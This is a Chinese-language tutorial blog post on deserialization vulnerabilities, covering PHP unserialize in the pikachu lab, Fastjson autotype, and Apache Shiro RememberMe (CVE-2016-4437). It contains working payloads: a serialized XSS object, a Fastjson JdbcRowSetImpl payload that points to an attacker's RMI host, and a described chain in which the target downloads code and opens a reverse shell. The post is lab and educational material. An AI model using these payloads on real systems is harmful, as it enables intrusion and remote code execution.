2024HW --->反序列化漏洞!

对于反序列化,这个漏洞也是常用的,不过涉及到的方面非常非常广,比其他漏洞也难很多

于是本篇文章就分成PHP和JAVA的反序列化来讲讲

1.反序列化

想要理解反序列化,首先就要理解序列化

序列化:把对象转换为字节序列的过程称为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

对于反序列化之后的内容,一般有如下

2.PHP反序列化漏洞

对于PHP的序列化和反序列化,一般是涉及到两个函数

unserialize()   反序列化
serialize()    序列化
反序列化被利用一般有以下三个特点
1、unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
2、脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
3、操作的内容需要有对象中的成员变量的值,比如filename

配合上以下的函数,就能达到RCE,任意文件删除,XSS...的效果

说了这么多,我们还是来举个栗子吧,先来看一段序列化的代码
<?phpclass SerializeTest
{public $var = "whoami";
}$obj = new SerializeTest();echo serialize($obj);

结果就是这样的

解释一下,这个过程,就是把SerializeTest这个对象里面的$var属性进行序列化  ,格式如下

O(Obejetc):13("类的长度"):"SerializeTest"(类名):1(序列化的属性个数):{s(序列化的是字符串类型):3(长度):"var"(属性名);s(类型):6(长度):"whoami"(内容)}

反序列化的过程如下

<?phpclass SerializeTest
{public $var = "whoami";
}$get=$_GET['test'];
$test=unserialize($get);
echo $test->var;?>

然后我们把刚才序列化之后的东西传进去

看到传入的东西被成功输出,而且是输出我们传入的东西

那么,如果我们输出一些别的东西捏!!!

O:13:"SerializeTest":1:{s:3:"var";s:29:"<script>alert("666")</script>";}

可以看见,如果过滤不严,被攻击者知道了类名,属性名,并且参数可控,而且有执行命令的操作,就会导致反序列化的漏洞!!!

那么就拿pikachu的靶场来练习一下

这没源代码我玩集贸啊?搞错了,上个源代码

class S{var $test = "pikachu";function __construct(){echo $this->test;}
}$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}

赶紧代码审计,可以发现它的类中用到一个$test的属性,并且通过了反序列化之后直接将test的内容输出,那就最简单的XSS攻击就好!!!

写个脚本

<?phpclass S
{public $test;function __construct(){$this->test='<script>alert("这就是反序列化")</script>';}
}$test =new S;
echo serialize($test);?>

然后就能看见

于是把poc粘贴到那个窗口就好,成功弹窗

3.JAVA反序列化漏洞

有了上面的php反序列化之后,我们就可以来看java的反序列化了

那么我们话不多说,直接上案例

1.Fastjson反序列化

对于这个fastjson,可以说是黑客和修复人员在斗智斗勇啊!!

哈哈哈哈哈

那么,我们就来讲一下它的原理

原理

正常序列化之后就是这样的格式

那么问题就来了,它属于哪一个类呢???为了解决这个问题

就引入了一个罪魁祸首!!!! Autotype!!!变成了这样!!!

那么问题就是这样的出现的

com.sun.rowset.JdbcRowSetImpl ,dataSourceName支持传入一个rmi的源,可以实现JNDI注
入攻击(这里是不是和log4j2的原理很像,虽然少了一步序列化)
所以它的poc就是这样了
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}

八九不离十吧

  1. 构造恶意的poc,然后被反序列化,去访问我们VPS上的LDAP服务
  2. 然后再去访问我们的HTTP端口,下载恶意代码
  3. 最后执行这个恶意代码,并且反弹shell到我们的VPS

至此,就是Fastjson的原理了

2.Apache Shiro反序列化

Shiro反序列化可以说是蓝队或者红队面试的一个必问的问题!!!!

原理

那么Shiro在哪里产生了反序列化呢??? 就在RememerMe这里

很多shiro的登录界面都提供了记住我(RememberMe)这个功能,其中的内容直接放在了Cookie里面,包含了用户的一些信息。

可以看见,这个框架的特点就是有这个字段这里,就拿vulhub来讲一下这个

1.CVE-2010-3863

绕过目录,这个其实和反序列化没什么关系,只不过是我靶场开错了,于是顺便就讲一下这个

它这一关,就是直接在URL后面加上一个admin就可以绕过认证,直接登录

2.CVE-2016-4437

这个就是可以直接RCE了

直接用工具

不知道是不是插件出的问题,还是直接用工具去扫吧

弹个shell出来玩玩,一眼docker!!!

原理其实还就是因为,它的AES加密的时候,对应的密钥是直接写死在了代码里面,而且shiro又是一个开源的框架,所以就能被攻击者恶意利用!!

虽然现在的shiro不写密钥了,但是还是可以爆破!!! 原理???

其实原理就是你用正确密钥加密后的东西和错误的密钥加密的返回值是不同的

这也就解释了为什么工具能检测出是哪一个密钥的原因!!!!

顺便提一下,这些工具都不能用最新的版本,只能用jdk1.8

检测工具的话,还是很多,不过我喜欢用利群,嘻嘻嘻

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802527.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

默克尔(Merkle)树 - 原理及用途

默克尔&#xff08;Merkle&#xff09;树的原理以及用途 引言 在当今数字化时代&#xff0c;确保数据的完整性是至关重要的。默克尔树作为一种高效的数据结构&#xff0c;被广泛应用于网络安全、分布式系统以及加密货币等领域&#xff0c;用于验证大量数据的完整性和一致性 数…

【HTB】 OpenSource

OpenSource 靶机地址&#xff1a;https://app.hackthebox.com/machines/471 信息收集 ┌──(root㉿kali)-[~/Desktop] └─# nmap -Pn -sC -sV -p- 10.129.212.208 --min-rate5000 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 16:01 CST Nmap scan report f…

GPIO口工作原理的超详细解释

一、GPIO基本结构 每个GPIO内部都有这样的一个电路结构&#xff0c;这个结构在本文下面会具体介绍。 这边的电路图稍微提一下&#xff1a; 保护二极管&#xff1a; IO引脚上下两边两个二极管用于防止引脚外部过高、过低的电压输入。当引脚电压高于VDD时&#xff0c;上方的二…

Altair® (澳汰尔)Inspire™ Print3D 打造高效的增材制造设计

Altair &#xff08;澳汰尔&#xff09;Inspire™ Print3D 打造高效的增材制造设计 借助 Inspire Print3D&#xff0c;可加速创新、结构高效的 3D 打印部件的创建、优化和研究&#xff0c;提供快速准确的工具集&#xff0c;可用于实现选择性激光熔融 (SLM) 部件的设计和过程仿…

基于SSM+Jsp+Mysql的快递管理系统

开发语言&#xff1a;Java框架&#xff1a;ssm技术&#xff1a;JSPJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包…

第十三章 OpenGL ES-RGB、HSV、HSL模型介绍

第十三章 OpenGL ES-RGB、HSV、HSL模型详细介绍 第一章 OpenGL ES 基础-屏幕、纹理、顶点坐标 第二章 OpenGL ES 基础-GLSL语法简单总结 第三章 OpenGL ES 基础-GLSL渲染纹理 第四章 OpenGL ES 基础-位移、缩放、旋转原理 第五章 OpenGL ES 基础-透视投影矩阵与正交投影矩阵…

模拟memcpy和memmove

memcpy是内存复制函数&#xff0c;原型如下 void *memmove(void *dest, const void *src, size_t count) 从src地址复制count个字节到dest 模拟实现 void *memcpy(void *dest, const void *src, size_t count) {if (dest NULL || src NULL)return NULL;void *ans dest;f…

HackTheBox-Machines--CozyHosting

文章目录 1 端口扫描2 测试思路3 访问web站点4 横向移动5 权限提升 CozyHosting 测试过程 1 端口扫描 nmap -sC -sV 10.129.229.882 测试思路 目标开启了80和22端口&#xff0c;所以出发点从80端口开始。 1.通过在web网站寻找漏洞&#xff0c;获取到用户名和密码&#xff0c;远…

CSS层叠样式表学习(基础选择器)

&#xff08;大家好&#xff0c;今天我们将继续来学习CSS&#xff08;2&#xff09;的相关知识&#xff0c;大家可以在评论区进行互动答疑哦~加油&#xff01;&#x1f495;&#xff09; 目录 二、CSS基础选择器 2.1 CSS选择器的作用 2.2 选择器分类 2.3 标签选择器 2.…

Swift 异步序列 AsyncStream 新“玩法”以及内存泄漏、死循环那些事儿(上)

概览 异步序列&#xff08;Async Sequence&#xff09;是 Swift 5.5 新并发模型中的一员“悍将”&#xff0c;系统标准库中很多类都做了重构以支持异步序列。我们还可以用 AsyncStream 辅助结构非常方便的创建自己的异步序列。 这里我们就来一起聊聊 AsyncStream 结构&#xf…

win10下使用qemu安装aarch64架构的iso镜像虚拟机

1、win下安装qemu 最新版 可在如下链接进行下载安装 QEMU for Windows – Installers (64 bit) 2、准备aarch64的iso镜像 我这里使用的是 Kylin-Server-10-SP2-aarch64-Release-Build09-20210524.iso 3、使用如下命令启动虚拟机安装 打开powershell cd C:\Program Files\…

B02、关于垃圾回收器-6.2

1、关于 GC 的分类 1.1、串行 VS 并行 按线程数分&#xff0c;可以分为串行垃圾回收器和并行垃圾回收器。 串行回收指的是在同一时间段内只允许有一个CPU用于执行垃圾回收操作&#xff0c;此时工作线程被暂停&#xff0c;直至垃圾收集工作结束。 在诸如单CPU处理器或者较小的应…

【Leetcode】2009. 使数组连续的最少操作数

文章目录 题目思路代码复杂度分析时间复杂度空间复杂度 结果总结 题目 题目链接&#x1f517; 给你一个整数数组 n u m s nums nums 。每一次操作中&#xff0c;你可以将 n u m s nums nums 中 任意 一个元素替换成 任意 整数。 如果 n u m s nums nums 满足以下条件&…

记一次项目上某系统web渗透测试

第一个信息泄露漏洞 首先在登录页忘记密码处点击查询获取用户进行抓包可以获得用户的token固定id值 第二个用户名枚举漏洞 接下来就是批量遍历出存在数据库用户id值以及用户名&#xff0c;方便后面其他测试使用。 第三弱口令漏洞 这里对于爆破没有限制&#xff0c;因此根据获…

从零开始,教你如何用Java生成微信小程序二维码

Hello大家好我是咕噜铁蛋&#xff01;你是否曾为生成二维码而烦恼过&#xff1f;别担心&#xff0c;今天我就来给你支招&#xff01;&#xff0c;我将分享如何使用Java生成微信小程序二维码的方法&#xff0c;让你轻松应对二维码生成的需求。微信小程序是一种轻量级的应用程序&…

Splunk Attack Range:一款针对Splunk安全的模拟测试环境创建工具

关于Splunk Attack Range Splunk Attack Range是一款针对Splunk安全的模拟测试环境创建工具&#xff0c;该工具完全开源&#xff0c;目前由Splunk威胁研究团队负责维护。 该工具能够帮助广大研究人员构建模拟攻击测试所用的本地或云端环境&#xff0c;并将数据转发至Splunk实例…

nginx到底是怎么工作的

工作流程 用户通过域名发出访问Web服务器的请求&#xff0c;该域名被DNS服务器解析为反向代理服务器的IP地址反向代理服务器接受用户的请求反向代理服务器在本地缓存中查找请求的内容&#xff0c;找到后直接把内容发送给用户如果本地缓存里没有用户所请求的信息内容&#xff0…

【攻防世界】题目名称-文件包含

看到 include()&#xff0c;想到文件包含&#xff0c;用php伪协议。 知识点 看到 include()&#xff0c;require()&#xff0c;include_once()&#xff0c;require_once() &#xff0c;想到文件包含&#xff0c;用php伪协议 ?filenamephp://filter/readconvert.base64-encode/…

铁山靠之数学建模-基础篇

小黑子的数模基础篇 一、什么是数学建模1.1 数学模型分类1.2 备战准备什么1.3 组队学习路线1.4 赛前准备1.5 赛题选择1.5.1 赛题类型1.5.2 ABC赛题建议 1.6 学会查询1.6.1 百度搜索技巧1.6.2 查文献1.6.3 数据预处理 1.7 建模全过程 二、数模论文2.1 论文排版2.2 标题怎么写2.3…

看linux内核启动流程需要的arm汇编学习笔记(二)

文章目录 一、ldr1.地址偏移模式2.变基模式3.标签3.1 访问宏定义3.2 访问一个字符串3.3 访问一个data 二、ldp和stp1.双字节加载2.双字节存储3.双字节存储的后变基模式 三、位操作1. 移位2. 按位操作3. 位段插入4.位段提取5.零计数指令 四、跳转指令1. cmp比较两个数2. cmn负向…